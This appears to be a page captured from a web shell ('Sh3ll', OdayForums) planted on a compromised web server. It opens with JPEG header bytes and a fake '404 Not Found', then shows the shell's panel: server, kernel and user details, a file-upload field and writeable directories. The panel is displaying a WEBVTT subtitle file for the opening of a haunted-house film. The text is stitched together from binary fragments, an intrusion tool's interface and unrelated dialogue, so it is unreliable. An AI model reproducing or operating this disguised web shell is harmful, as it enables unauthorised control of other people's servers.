����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c815e443e43f-1551982148.vtt
WEBVTT - https://subtitletools.com

00:00:00.008 --> 00:00:37.588
Psagmeno.com
MOViE iNFO WiTH .srt FiLES!

00:00:37.788 --> 00:00:41.489
♪ If you want
to know who we are

00:00:41.558 --> 00:00:44.726
♪ We are gentlemen of Japan

00:00:44.928 --> 00:00:48.496
♪ On many a vase and jar

00:00:48.564 --> 00:00:52.283
♪ On many a screen and fan

00:00:54.571 --> 00:00:58.356
♪ We figure in lively paint Our
attitude's queer and quaint

00:00:58.425 --> 00:01:00.425
♪ You're wrong if
you think it ain't ♪

00:01:01.979 --> 00:01:04.295
Hey, come on.

00:01:04.364 --> 00:01:05.730
Embrace living in the country.

00:01:05.799 --> 00:01:08.600
Driving on the open road,
singing Gilbert and Sullivan.

00:01:08.668 --> 00:01:10.368
What's more American than that?

00:01:10.437 --> 00:01:11.636
First of all,

00:01:11.705 --> 00:01:13.638
Gilbert and Sullivan
were English.

00:01:13.707 --> 00:01:14.772
I knew that.

00:01:14.841 --> 00:01:16.341
You knew that.

00:01:16.410 --> 00:01:17.875
Want me to put on
something else?

00:01:17.944 --> 00:01:21.930
♪ Before the mighty troops
The troops of Titipu! ♪

00:01:21.999 --> 00:01:24.348
No. Not on your life.

00:01:24.417 --> 00:01:28.819
♪ Before the mighty troops
The troops of Titipu! ♪

00:01:40.483 --> 00:01:43.801
Isn't this cool?
We're actually using four-wheel drive.

00:01:43.870 --> 00:01:46.170
Bet we're the only one of our
friends that can say that.

00:01:46.239 --> 00:01:48.573
David, I'm wondering how the
trucks made it back here.

00:01:48.642 --> 00:01:50.107
I'm sure they did.

00:01:50.176 --> 00:01:51.743
Yeah, I gave them directions.

00:01:51.811 --> 00:01:53.745
But I also said we'd
be there to supervise.

00:01:53.813 --> 00:01:56.180
I didn't know we were gonna be
stopping for strawberries...

00:01:56.249 --> 00:01:58.048
I wanted to stop.
Peas...

00:01:58.117 --> 00:01:59.462
I've never done the whole
roadside stand bit.

00:01:59.486 --> 00:02:00.752
Spinach...

00:02:00.820 --> 00:02:02.780
Thought it was important for Lucas.
And asparagus.

00:02:02.822 --> 00:02:04.989
He should know
where food comes from.

00:02:05.057 --> 00:02:07.925
David, food comes
from farms, not stands.

00:02:07.994 --> 00:02:09.694
They both have farmers.

00:02:09.763 --> 00:02:11.162
I think I see a light.

00:02:19.306 --> 00:02:20.639
Where are we?

00:02:20.707 --> 00:02:22.440
Hey, we're home, peanut.

00:02:22.509 --> 00:02:24.208
It's really dark.

00:02:24.227 --> 00:02:26.194
Where are all
the apartment buildings?

00:02:26.313 --> 00:02:29.046
They don't have apartments
in the country, baby.

00:02:43.213 --> 00:02:46.130
Babe? Dana.

00:02:46.199 --> 00:02:47.648
It's a good move.

00:02:48.685 --> 00:02:50.468
Believe me?

00:02:50.537 --> 00:02:52.570
Yeah, I believe you.

00:02:55.258 --> 00:02:56.858
New beginning.

00:02:58.828 --> 00:03:00.128
New beginning.

00:03:04.618 --> 00:03:05.850
Ugh.

00:03:08.188 --> 00:03:10.628
It doesn't get better than
this, babe.

00:03:14.594 --> 00:03:16.695
All right.

00:03:16.763 --> 00:03:18.095
Oh.

00:03:18.164 --> 00:03:19.263
Shit.

00:03:19.333 --> 00:03:21.333
Oh, my God, you kidding me?

00:03:21.401 --> 00:03:23.880
Thought they were supposed to put
everything inside the right rooms.

00:03:23.904 --> 00:03:25.353
Well, obviously they didn't.

00:03:32.412 --> 00:03:36.748
Hey, peanut, last one to find the
bathroom has to go wee in the woods!

00:03:36.883 --> 00:03:39.363
I'm on your heels, I'm on your heels.
Here I come, here I come.

00:03:40.103 --> 00:03:41.535
Please be careful!

00:03:42.972 --> 00:03:45.205
Here he goes!
Here he goes!

00:04:32.772 --> 00:04:34.788
Hey.
Hey.

00:04:36.125 --> 00:04:38.592
Who puts mirrors like this here?

00:04:38.661 --> 00:04:40.895
Oh. Some guy
who's got a hot wife

00:04:40.964 --> 00:04:43.130
and wants as many
of her as possible.

00:04:51.892 --> 00:04:53.024
Daddy!

00:04:54.727 --> 00:04:56.527
Can't find my toys!

00:07:30.717 --> 00:07:33.300
Hey.
Hey.

00:07:33.370 --> 00:07:35.135
This kitchen has potential, huh?

00:07:36.172 --> 00:07:37.605
Yes.

00:07:37.674 --> 00:07:39.157
Is there any coffee going?

00:07:39.225 --> 00:07:41.987
Oh, if you want coffee, you're gonna
have to find the coffeemaker first.

00:07:42.011 --> 00:07:43.011
Found her.

00:07:43.079 --> 00:07:44.262
Fuck you.

00:07:44.431 --> 00:07:47.231
Is that a threat?
Or a promise?

00:07:47.300 --> 00:07:49.566
Uh, could be a promising threat.

00:07:49.635 --> 00:07:51.185
Or a threatening promise.

00:07:53.239 --> 00:07:54.405
Where's the peanut?

00:07:54.474 --> 00:07:57.341
He's upstairs,
waiting for his waffles.

00:07:57.410 --> 00:08:00.127
Oh. And we have a leak
in the breakfast room.

00:08:14.477 --> 00:08:15.843
I don't know.

00:08:18.531 --> 00:08:21.449
I don't know.
We have to wait and see.

00:08:22.351 --> 00:08:25.469
No, she's a nice mommy.

00:08:25.538 --> 00:08:28.605
The nicest mommy in the world.

00:08:28.674 --> 00:08:30.975
Lucas, who are you talking to?

00:08:33.195 --> 00:08:35.129
Baby, I asked you a question.

00:08:35.197 --> 00:08:36.681
Who were you
talking to just now?

00:08:38.318 --> 00:08:40.267
Lucas, turn around.

00:08:44.357 --> 00:08:48.476
Oh, no! Lucas!

00:08:48.545 --> 00:08:50.844
Oh, where did you
even find that thing?

00:08:50.947 --> 00:08:54.131
He lives here.
This is his home.

00:08:54.200 --> 00:08:57.702
Ugh. Well, I'm sure he'll be even
happier when we take him outside.

00:08:57.770 --> 00:08:59.437
He said he'll protect me!

00:08:59.489 --> 00:09:01.472
Baby, I'm sure he did.

00:09:01.540 --> 00:09:03.975
We've talked about this before, okay?
No pets.

00:09:04.043 --> 00:09:05.609
Please, Mommy?

00:09:05.678 --> 00:09:07.412
Hey, where'd that come from?

00:09:07.897 --> 00:09:09.313
Hey, hey, hey.

00:09:09.382 --> 00:09:11.349
Let me have a go at that.

00:09:14.354 --> 00:09:16.637
Hey, you stink, little guy.

00:09:16.706 --> 00:09:20.807
Guess what? I just saw a mouse
downstairs and it was huge!

00:09:20.876 --> 00:09:23.160
And he had his nose
in the waffle cupboard!

00:09:23.229 --> 00:09:27.047
So guess we could use
a good mouser, babe.

00:09:27.116 --> 00:09:31.468
Yeah, he's a really good mouser.

00:09:31.537 --> 00:09:33.766
Hey. Hold still, you little rascal.

00:09:33.790 --> 00:09:36.724
Hey, how about Rascal?
Rascal's a good name.

00:09:36.793 --> 00:09:39.460
Yeah, I think it's a cool name.

00:09:39.529 --> 00:09:41.779
Ooh.

00:11:16.175 --> 00:11:17.725
Hey, Dana!

00:11:17.794 --> 00:11:19.154
What do you say
we drive into town,

00:11:19.178 --> 00:11:21.528
get some groceries,
lay of the land?

00:11:21.597 --> 00:11:23.630
David,
there's something out here.

00:11:23.699 --> 00:11:24.743
We live in
the country now, babe,

00:11:24.767 --> 00:11:26.433
all kinds of crazy
critters out there.

00:11:27.520 --> 00:11:29.236
Like what?

00:11:29.305 --> 00:11:30.570
Maybe it's a raccoon.

00:11:31.607 --> 00:11:33.374
The occasional zombie redneck.

00:11:34.843 --> 00:11:36.676
Hey, Dana, come on.

00:11:36.745 --> 00:11:38.612
I'm sure the locals
are eager to sneak a peek

00:11:38.680 --> 00:11:40.263
of the new lord
and lady of the manor.

00:12:00.469 --> 00:12:03.671
Not bad, huh?
Not bad at all.

00:12:03.740 --> 00:12:05.873
This is cool, huh?

00:12:05.942 --> 00:12:07.708
Where's the movie theater?

00:12:07.777 --> 00:12:09.877
They don't have one, peanut,
but what they do have

00:12:09.946 --> 00:12:13.080
is a 6-plex up the road in New Bern.
Afternoon.

00:12:13.149 --> 00:12:14.548
Oh, afternoon.

00:12:15.417 --> 00:12:17.051
You see that? Friendly.

00:12:18.821 --> 00:12:22.556
Look at that. That's a
genuine barber shop. Huh?

00:12:23.709 --> 00:12:26.343
Oh, friendly
neighborhood gun store.

00:12:26.412 --> 00:12:28.372
And we'll go wild turkey shooting.
How about that?

00:12:28.414 --> 00:12:30.581
Did you forget?
I'm a vegetarian.

00:12:30.650 --> 00:12:32.716
I do not like killing animals.

00:12:32.785 --> 00:12:35.352
You don't? That's okay. We'll
shoot watermelons instead.

00:12:35.421 --> 00:12:37.655
Hey! I've heard about this place.
Oh.

00:12:37.723 --> 00:12:41.025
Yelp says that this place has the best
ice cream this side of the Mississippi.

00:12:41.093 --> 00:12:42.442
No way! Really?

00:12:42.562 --> 00:12:44.795
Yeah, better than the Ice
Cream Factory in Brooklyn.

00:12:47.934 --> 00:12:49.800
Afternoon!
Hello.

00:12:49.869 --> 00:12:50.918
Hey.

00:12:50.987 --> 00:12:53.270
I bet I know who you all are!

00:12:53.339 --> 00:12:54.538
Oh, I bet you do!

00:12:54.606 --> 00:12:56.523
You all bought
the Blacker House.

00:12:56.592 --> 00:12:57.825
Yeah, that's us.

00:12:57.893 --> 00:13:01.996
Welcome!
Welcome! Welcome!

00:13:02.064 --> 00:13:04.849
Oh, I'm so happy to see
some new faces around here.

00:13:04.917 --> 00:13:07.451
We're happy to be a new face.
Hey, I'm David.

00:13:07.519 --> 00:13:09.236
David.
This is my wife, Dana.

00:13:09.305 --> 00:13:11.021
Hi.
How are you?

00:13:11.023 --> 00:13:12.957
And this little
sugar addict over here

00:13:13.025 --> 00:13:15.025
is our son, Lucas. Hey, get up.

00:13:15.094 --> 00:13:18.195
Marti Morrison! And the
pleasure is all mine.

00:13:18.264 --> 00:13:20.280
- And hi, Lucas.
- Hi.

00:13:20.349 --> 00:13:22.566
What's your favorite ice cream?

00:13:22.635 --> 00:13:23.567
Strawberry.

00:13:23.635 --> 00:13:25.118
You are so in luck.

00:13:25.271 --> 00:13:29.940
I just made some strawberry this morning.
Is that okay?

00:13:30.009 --> 00:13:31.442
Yeah. That's fine.
Sure.

00:13:31.511 --> 00:13:33.410
All right, let's get scooping.

00:13:34.630 --> 00:13:36.280
You know, nobody has lived

00:13:36.349 --> 00:13:38.932
in that old house
for quite some time.

00:13:39.001 --> 00:13:42.236
I'm afraid that you all have
your work cut out for you.

00:13:42.304 --> 00:13:45.522
Yup. Got a leaky roof
for starters.

00:13:45.591 --> 00:13:49.260
Oh. Now, listen, if you need
some help with the big stuff,

00:13:49.328 --> 00:13:54.031
I mean, I'm happy to recommend
some honest, hard-working people.

00:13:54.099 --> 00:13:56.450
You know, actually we're...
Ben Philips, Jr.

00:13:56.519 --> 00:14:00.604
Now, that's not to be confused
with Ben Philips, Sr., who drinks.

00:14:00.623 --> 00:14:01.972
Enough said.

00:14:02.041 --> 00:14:05.259
But Ben, Jr. now, he knows
his way around a hammer.

00:14:05.328 --> 00:14:07.561
And he is not bad to look at.

00:14:07.763 --> 00:14:10.297
I said that out loud,
didn't I? That's awful.

00:14:10.365 --> 00:14:12.866
Get behind me, Satan.
That's terrible.

00:14:12.935 --> 00:14:16.036
You know, actually we were hoping
to do most of the work ourselves.

00:14:16.105 --> 00:14:20.524
Oh, is that right? Well, are you
some kind of architect or...

00:14:20.592 --> 00:14:23.194
Well, funnily enough...
Look at you!

00:14:23.262 --> 00:14:28.132
Oh, I guess that you're a man who
knows his way around a hammer, too.

00:14:28.200 --> 00:14:31.268
I do. I'm actually
the architect.

00:14:31.337 --> 00:14:34.004
I'm gonna be doing most
of the work on the house.

00:14:34.707 --> 00:14:36.507
Is that right?

00:14:36.576 --> 00:14:37.758
Yeah, that's right.

00:14:38.661 --> 00:14:41.528
It's a big job.
Big job.

00:14:41.597 --> 00:14:44.598
And what is it that you do?

00:14:44.667 --> 00:14:45.750
In between my naps,

00:14:47.052 --> 00:14:51.839
I enjoy watching her work,
playing Xbox.

00:14:52.491 --> 00:14:54.541
Oh, huh?

00:14:54.610 --> 00:14:56.276
We actually just
came in to say howdy,

00:14:56.345 --> 00:14:58.478
pick up a few things
for the house.

00:14:58.547 --> 00:14:59.547
Well, howdy.

00:15:01.217 --> 00:15:04.618
And just look around, let me know
if you can't find something.

00:15:05.721 --> 00:15:08.438
And good luck with your house.

00:15:55.053 --> 00:15:56.553
Lucas?

00:15:58.073 --> 00:15:59.239
Lucas?

00:16:01.627 --> 00:16:04.594
Lucas, what is it?
There's a dog out there.

00:16:05.981 --> 00:16:08.248
It's probably just a stray.

00:16:12.371 --> 00:16:14.254
I'm scared.

00:16:17.577 --> 00:16:21.745
Oh, it's all right, peanut.
I'll protect you.

00:16:21.814 --> 00:16:23.747
Mommy will protect you.

00:16:25.384 --> 00:16:27.534
Mommy?

00:16:28.788 --> 00:16:30.554
Mommy.

00:16:30.556 --> 00:16:34.024
Oh, my God, Lucas! Lucas!

00:16:39.648 --> 00:16:40.748
David.

00:16:41.851 --> 00:16:43.517
Hmm?

00:16:44.754 --> 00:16:46.654
I had one of my dreams.

00:20:45.611 --> 00:20:47.277
Shit.

00:21:12.822 --> 00:21:14.721
Dana, are you okay?

00:21:14.790 --> 00:21:17.724
Yeah, David, I'm up here.
I need your help.

00:21:25.417 --> 00:21:26.983
Where's the Lion and the Witch?

00:21:27.052 --> 00:21:30.086
Well, technically it's
called a "chifferobe."

00:21:30.155 --> 00:21:33.657
Yeah, chifferobe, huh?
What's it made of, lead?

00:21:33.726 --> 00:21:35.403
You're positive you saw
a light up in here?

00:21:35.427 --> 00:21:37.861
Yes. And then it went off.

00:21:37.930 --> 00:21:42.048
May I ask what you're doing outside in
the middle of the night, young lady?

00:21:42.117 --> 00:21:44.550
I was getting some air.

00:21:44.619 --> 00:21:46.497
It's probably just
a faulty wire or something.

00:21:46.521 --> 00:21:49.556
Well, all the more reason
to check it out.

00:21:49.624 --> 00:21:50.857
Oh, wow.

00:21:50.926 --> 00:21:52.625
Cool.

00:21:52.694 --> 00:21:55.062
Our own secret room.

00:21:55.130 --> 00:21:56.629
Of course.

00:21:56.698 --> 00:21:59.299
Locked?
Yeah, or stuck.

00:22:03.538 --> 00:22:04.705
See anything?

00:22:06.175 --> 00:22:07.908
No, it's too dark.

00:22:13.348 --> 00:22:15.048
Hey, Dana, come on up.

00:22:15.050 --> 00:22:17.835
We'll find a locksmith in
the morning to get it open.

00:22:21.807 --> 00:22:24.241
Hey, Dana.
Hey, Dana, come on.

00:22:27.446 --> 00:22:29.195
Dana, it's late. Stop.
What?

00:22:32.017 --> 00:22:33.283
Hey, you okay?

00:22:34.286 --> 00:22:36.220
Yeah.

00:22:36.288 --> 00:22:38.688
You got that look
that concerns me.

00:22:40.692 --> 00:22:42.525
You want me to call
Dr. Ashby in the morning?

00:22:42.594 --> 00:22:46.530
No. No. I'm just... I'm
getting adjusted. Sorry.

00:22:46.598 --> 00:22:48.932
It's just that room's
not on the floor plans.

00:22:49.001 --> 00:22:50.734
It's bugging me a little bit.

00:23:30.642 --> 00:23:33.309
I'm feeling Wolverine hungry!

00:23:46.625 --> 00:23:50.160
Never!
You parsley-looking mutant!

00:25:32.514 --> 00:25:33.997
God damn it!

00:25:38.453 --> 00:25:40.353
Fuck you, too.

00:26:20.462 --> 00:26:21.728
David?

00:26:37.078 --> 00:26:38.678
Lucas, is that you?

00:26:39.548 --> 00:26:40.614
Lucas?

00:27:31.984 --> 00:27:35.418
David, please let me out of here!
Please let me out!

00:27:35.537 --> 00:27:39.222
David! David! David! David!

00:27:40.975 --> 00:27:46.195
Let me out of here! David! David!
Please let me out! David!

00:27:46.848 --> 00:27:48.431
David, please!

00:28:59.053 --> 00:29:00.119
He doesn't want you.

00:29:39.160 --> 00:29:41.010
That, gentlemen, is my wife.

00:29:42.314 --> 00:29:45.231
Mad, and the offspring
of a mad family.

00:29:48.653 --> 00:29:50.373
Get it back around.
Reverse. Reverse.

00:29:50.405 --> 00:29:52.455
That's right, move it back.
Move it back.

00:29:52.523 --> 00:29:54.443
Back room, back room, back room.

00:29:54.726 --> 00:29:57.243
Hey, Baba.
Where'd you come from?

00:29:57.829 --> 00:29:59.145
Where were you?

00:30:01.866 --> 00:30:03.516
I needed you, David.

00:30:03.585 --> 00:30:06.519
Babe, I'm right here.
I've been right here.

00:30:06.588 --> 00:30:11.474
I was locked up.
I was locked up there for hours...

00:30:11.543 --> 00:30:13.693
I don't... Dana, Dana, I don't...
and hours!

00:30:13.729 --> 00:30:15.845
You didn't notice I was missing?

00:30:15.914 --> 00:30:17.613
Dana, I swear to God...

00:30:17.682 --> 00:30:18.848
I was upstairs, David.

00:30:18.917 --> 00:30:20.850
I have no idea what
you're talking about.

00:30:20.919 --> 00:30:24.771
I was upstairs, David. I was locked
in that little room in the attic.

00:30:24.839 --> 00:30:27.140
Hey, wait, wait.
You got in?

00:30:27.208 --> 00:30:28.541
Yeah, I found the key

00:30:28.609 --> 00:30:30.443
and I went inside and then...
Dana.

00:30:30.512 --> 00:30:34.147
Somebody...
Somebody closed the door.

00:30:34.215 --> 00:30:35.681
Somebody locked me in.

00:30:35.750 --> 00:30:37.400
Nobody would do that.

00:30:37.419 --> 00:30:38.301
Who was it, David?

00:30:38.370 --> 00:30:40.019
I don't know!

00:30:41.856 --> 00:30:43.389
There's no one else here.

00:30:50.164 --> 00:30:53.700
I was screaming
for help for hours.

00:30:53.769 --> 00:30:56.302
Dana, we have been
down here the whole time,

00:30:56.405 --> 00:30:59.656
and we did not hear a thing.
Honest to God.

00:30:59.724 --> 00:31:04.327
We didn't hear a thing, Mommy.
We didn't.

00:31:09.000 --> 00:31:12.435
Hey, you having
trouble sleeping?

00:31:13.438 --> 00:31:16.406
No, no. I'm not having
trouble sleeping.

00:31:16.475 --> 00:31:18.441
Please don't look
at me like that.

00:31:18.510 --> 00:31:19.776
Like what?

00:31:19.845 --> 00:31:23.679
Don't get sick again, Mommy.

00:31:23.715 --> 00:31:27.650
I'm not getting sick, baby. I
never felt better in my life.

00:31:33.992 --> 00:31:36.809
Hey, Dana.

00:31:39.113 --> 00:31:40.546
It's okay.

00:31:57.816 --> 00:32:00.750
Hey. Where's Daddy?

00:32:00.752 --> 00:32:04.153
He had to make
a phone call to Japan.

00:32:05.874 --> 00:32:07.974
Well, I was thinking, um,

00:32:08.043 --> 00:32:10.476
I could set up your house
for you if you want.

00:32:12.530 --> 00:32:14.964
I mean, you could
help if you want.

00:32:15.033 --> 00:32:16.716
Okay.
Okay.

00:32:22.257 --> 00:32:25.275
Okay, you remember
how this goes together?

00:32:25.343 --> 00:32:28.344
No.
It's okay, it's complicated.

00:32:28.413 --> 00:32:32.465
As were the clients, if your
mom remembers correctly.

00:32:32.534 --> 00:32:34.967
Okay, first things first.
We start with the base.

00:32:41.075 --> 00:32:43.809
You gonna do it by yourself?
You do it all by yourself.

00:32:45.664 --> 00:32:47.146
Very nice.

00:32:48.316 --> 00:32:51.083
How about... That one?
That.

00:32:52.304 --> 00:32:55.405
Good job. And...

00:32:55.607 --> 00:32:57.540
That big boy.

00:32:58.643 --> 00:33:00.310
Couple more pieces to go.

00:33:03.081 --> 00:33:06.132
What do you think? Yeah?
That one. Yeah.

00:33:06.151 --> 00:33:08.084
- You got it? Okay.
- Yup.

00:33:10.455 --> 00:33:12.521
That one. You got it?

00:33:17.528 --> 00:33:19.962
Yes. Very good.
Yes.

00:33:38.400 --> 00:33:40.299
Lucas?
Yeah.

00:33:44.556 --> 00:33:48.541
I just... I just
wanted to tell you...

00:33:52.179 --> 00:33:54.480
I just wanted to say I'm sorry.

00:33:56.184 --> 00:33:57.750
That's okay.

00:33:57.819 --> 00:34:01.187
Sometimes bad things happen

00:34:01.255 --> 00:34:02.488
and you don't know why.

00:34:04.675 --> 00:34:05.808
Yeah.

00:34:07.345 --> 00:34:08.844
Yeah, that's very true.

00:34:09.564 --> 00:34:11.547
I think sometimes

00:34:12.984 --> 00:34:15.617
maybe I'd like a sister again.

00:34:17.739 --> 00:34:19.071
You would?

00:34:29.350 --> 00:34:32.569
Tickle the toes.
Tickle the toes.

00:34:32.637 --> 00:34:35.187
- You don't speak baby?
- No, not anymore.

00:34:35.256 --> 00:34:36.588
No?

00:34:42.146 --> 00:34:45.765
Baby selfie, baby selfie.

00:34:47.168 --> 00:34:48.768
Aww.

00:35:50.315 --> 00:35:52.364
Don't come back here!

00:36:04.379 --> 00:36:06.195
You think that child
was begotten

00:36:06.263 --> 00:36:08.081
of my loins rotten?

00:36:08.149 --> 00:36:09.499
He won't let us out.

00:36:10.868 --> 00:36:12.000
Not a chance in hell.

00:36:13.071 --> 00:36:15.988
Mommy. Mommy.

00:36:16.057 --> 00:36:17.823
Can I have my breakfast, Mommy?

00:36:19.093 --> 00:36:22.461
Yes, Lucas, you can
have your breakfast.

00:38:36.180 --> 00:38:37.180
Oh!

00:38:37.232 --> 00:38:39.431
God.
Sorry. Sorry.

00:38:39.500 --> 00:38:41.133
Oh, for God's sake.

00:38:41.202 --> 00:38:42.701
I really am sorry, ma'am.

00:38:42.770 --> 00:38:45.555
I hope I didn't scare you too bad.
That was not my intention.

00:38:45.623 --> 00:38:47.472
I'm sorry, who are you?

00:38:47.542 --> 00:38:49.942
And what are you doing sneaking
around on my property?

00:38:51.028 --> 00:38:52.595
Answering your prayers.

00:38:55.482 --> 00:38:57.416
See, it's gone
unchecked for a while.

00:38:57.484 --> 00:38:59.084
Lucky it didn't cave.

00:39:00.054 --> 00:39:02.120
Lucky I stopped by when I did.

00:39:02.189 --> 00:39:05.457
Well, and lucky for you people
around here like to gossip.

00:39:05.526 --> 00:39:06.642
That they do.

00:39:09.163 --> 00:39:12.431
Also heard you were an
architect or something.

00:39:12.499 --> 00:39:14.399
Yeah, or something.

00:39:17.104 --> 00:39:18.921
Well, maybe we should
talk about money.

00:39:18.990 --> 00:39:21.189
Well, that's a little premature.

00:39:21.258 --> 00:39:22.341
Come again?

00:39:22.410 --> 00:39:24.260
You haven't been hired yet.

00:39:25.412 --> 00:39:27.196
No?
No.

00:39:28.666 --> 00:39:31.717
There's nothing I can do
to change your mind?

00:39:31.785 --> 00:39:33.569
Hello.
David...

00:39:33.637 --> 00:39:35.371
Uh, this is my husband, David.

00:39:35.439 --> 00:39:38.440
David, this is Ben Philips, Jr.

00:39:38.509 --> 00:39:40.626
Yes, the legend. Hey.

00:39:40.695 --> 00:39:42.928
Nice to meet you.
Likewise.

00:39:42.997 --> 00:39:45.164
Mr. Philips is here
about the leak.

00:39:45.266 --> 00:39:47.616
Right.
Ben works fine.

00:39:47.685 --> 00:39:50.336
Great, Ben, when can you start?

00:39:50.404 --> 00:39:51.803
No, that's still up in the air.

00:39:51.872 --> 00:39:53.723
Soon as you pull the trigger.

00:39:53.791 --> 00:39:55.786
We should probably get on
to this right away, babe,

00:39:55.810 --> 00:39:58.360
don't you think?
David.

00:39:58.429 --> 00:40:00.846
The next couple of weeks are
kind of busy, but I am free now.

00:40:00.914 --> 00:40:02.459
What is this?
This is water damage, right?

00:40:02.483 --> 00:40:03.563
Does this floor need to go?

00:40:03.618 --> 00:40:05.178
Yes. Look, we get
a dehumidifier in here,

00:40:05.202 --> 00:40:06.613
we can actually
save most of this wood.

00:40:06.637 --> 00:40:08.287
- Just say the word.
- Great.

00:40:08.322 --> 00:40:10.117
Well, yes, we want you to
start as soon as possible.

00:40:10.141 --> 00:40:11.373
All right.
No,

00:40:11.442 --> 00:40:13.387
what I would like is for Mr.
Philips to come back here

00:40:13.411 --> 00:40:15.091
when it hasn't been
raining for a few days,

00:40:15.145 --> 00:40:18.563
and the two of us can get up on
that roof and see what's what.

00:40:18.632 --> 00:40:19.793
That way, once
the situation's been

00:40:19.817 --> 00:40:21.217
thoroughly and
properly assessed,

00:40:21.285 --> 00:40:24.086
then we can talk
about hours and materials

00:40:24.155 --> 00:40:26.255
and scope of work
in a manner that's

00:40:26.323 --> 00:40:28.657
not been pulled
directly out of our asses.

00:40:28.726 --> 00:40:31.777
And what I'd also like
is to agree on a deadline,

00:40:31.846 --> 00:40:34.280
which if not met, means revisiting
the terms of our contract

00:40:34.348 --> 00:40:37.499
with the probability of
penalties paid to us by you

00:40:37.568 --> 00:40:40.586
for each day of work exceeding
the original agreement.

00:40:40.655 --> 00:40:42.020
Now, if that all
sounds acceptable,

00:40:42.089 --> 00:40:43.400
I'll be happy to resume
this conversation

00:40:43.424 --> 00:40:45.958
at a later date,
but in the meantime,

00:40:46.026 --> 00:40:48.093
it was a pleasure
meeting you, Mr. Philips.

00:40:48.162 --> 00:40:51.330
And, um, my husband,
David, will show you out.

00:40:51.416 --> 00:40:52.998
David, if you wouldn't mind.

00:40:57.887 --> 00:40:59.319
Ben.

00:41:40.213 --> 00:41:42.045
July 5th.

00:41:45.484 --> 00:41:46.900
I'm sorry.

00:41:48.571 --> 00:41:49.903
What are you sorry for?

00:41:49.972 --> 00:41:51.872
I should've let you
take the lead.

00:41:52.975 --> 00:41:54.107
It's not a big deal.

00:41:55.862 --> 00:41:58.912
Yes, it is. I was totally
caveman about the whole thing.

00:41:58.981 --> 00:42:01.915
It was a full-on phallus fest.
I mean,

00:42:01.984 --> 00:42:05.052
my God, what was I doing?

00:42:05.120 --> 00:42:06.732
I don't know anything
about fixing a fucking roof.

00:42:06.756 --> 00:42:08.505
I want to leave this house.

00:42:09.859 --> 00:42:11.942
Something isn't right here.

00:42:12.011 --> 00:42:14.544
Dana...

00:42:14.613 --> 00:42:17.681
Whatever you're feeling or
think you're experiencing,

00:42:17.750 --> 00:42:20.050
it's just you adjusting.
It's not the house.

00:42:20.119 --> 00:42:23.104
The Blackers had a daughter
who died July 5th.

00:42:24.090 --> 00:42:25.806
That's the same day, David.

00:42:27.326 --> 00:42:29.192
The same day,
that's not a coincidence!

00:42:32.165 --> 00:42:33.997
Their daughter's still
in this house.

00:42:39.922 --> 00:42:41.755
That's not possible.

00:42:42.909 --> 00:42:44.108
You know that.

00:42:45.845 --> 00:42:47.928
You're still taking
your medication?

00:42:47.997 --> 00:42:49.997
Yes, I'm taking it.
I don't want to stay here.

00:42:50.066 --> 00:42:52.766
We agreed to give it a year
of our time in this house.

00:42:54.070 --> 00:42:56.103
Dr. Ashby told us
how important it was

00:42:56.171 --> 00:42:58.338
for Lucas to have
stability right now.

00:43:01.995 --> 00:43:03.927
We bail on this house,
we're not giving him

00:43:03.997 --> 00:43:05.729
a fair chance at a normal life.

00:43:05.798 --> 00:43:08.532
We owe him that.
God knows we owe him that.

00:43:10.719 --> 00:43:12.264
In a year's time, we're
gonna look back at this

00:43:12.288 --> 00:43:15.339
and know that this move
was the right thing to do.

00:43:18.093 --> 00:43:19.493
Believe me?

00:43:21.330 --> 00:43:22.963
Yeah, I believe you.

00:43:27.270 --> 00:43:29.870
I can cancel
this trip in the city.

00:43:29.938 --> 00:43:32.439
It's just two days. Finalize
the sale of the company,

00:43:32.508 --> 00:43:33.974
help with the transition.

00:43:35.828 --> 00:43:38.762
I can reschedule. No. No, I
don't want you to do that.

00:43:39.932 --> 00:43:42.199
Lucas and I can
spend the time together.

00:43:43.102 --> 00:43:45.102
That'll be good for us.

00:43:53.278 --> 00:43:55.590
I want you to keep an eye on your
mother for me while I'm gone.

00:43:55.614 --> 00:43:57.047
Look after her.

00:43:57.115 --> 00:43:59.011
You want me to pick up some
Juniors for you while I'm gone?

00:43:59.035 --> 00:44:01.668
With strawberries!
No raspberries!

00:44:01.737 --> 00:44:03.270
Yes, sir.

00:44:15.417 --> 00:44:16.584
Be careful.

00:44:20.055 --> 00:44:22.556
Oh, wow.
Look at that bear!

00:44:24.126 --> 00:44:26.093
Look, there's our house.

00:44:26.161 --> 00:44:27.527
Oh, yeah.

00:44:27.596 --> 00:44:30.331
- Good job.
- May I help you?

00:44:30.399 --> 00:44:32.249
Oh, uh...

00:44:32.317 --> 00:44:35.519
Yeah, I'm Dana Barrow and I...
Dana the architect!

00:44:35.588 --> 00:44:37.454
It's nice to meet you, Dana.

00:44:37.523 --> 00:44:40.323
I'm the one who sent you the
photographs and records of your house.

00:44:40.392 --> 00:44:41.742
Oh, thank you.

00:44:41.811 --> 00:44:43.710
And who might you be?

00:44:45.147 --> 00:44:47.414
What's the matter?
Cat got your tongue?

00:44:47.483 --> 00:44:50.484
This is Lucas.
They call me Ms. Judith.

00:44:50.553 --> 00:44:53.120
Say hi.
I'll just go put these away.

00:44:54.706 --> 00:44:55.839
Okay.

00:44:55.841 --> 00:44:57.761
You can play over here.
I'll just be few minutes.

00:45:03.699 --> 00:45:06.667
I just... I wanted
to ask you about this

00:45:06.735 --> 00:45:09.336
little room that I found
in the attic.

00:45:10.673 --> 00:45:15.309
It's got a metal floor and
a window that won't open

00:45:15.377 --> 00:45:19.079
and, um, a door that just
only locks from the outside.

00:45:19.147 --> 00:45:21.781
Um, and it really...

00:45:21.850 --> 00:45:24.918
It frightens me and it wasn't
on any of the plans and I...

00:45:24.986 --> 00:45:26.626
You know, I don't know
what to make of it.

00:45:27.940 --> 00:45:31.074
But it's ridiculous.
Maybe.

00:45:33.028 --> 00:45:34.544
Maybe not.

00:45:36.432 --> 00:45:38.348
What do you mean?

00:45:38.417 --> 00:45:42.770
Dana, it sounds like you
have a disappointments room.

00:45:44.540 --> 00:45:47.875
A what?
A disappointments room.

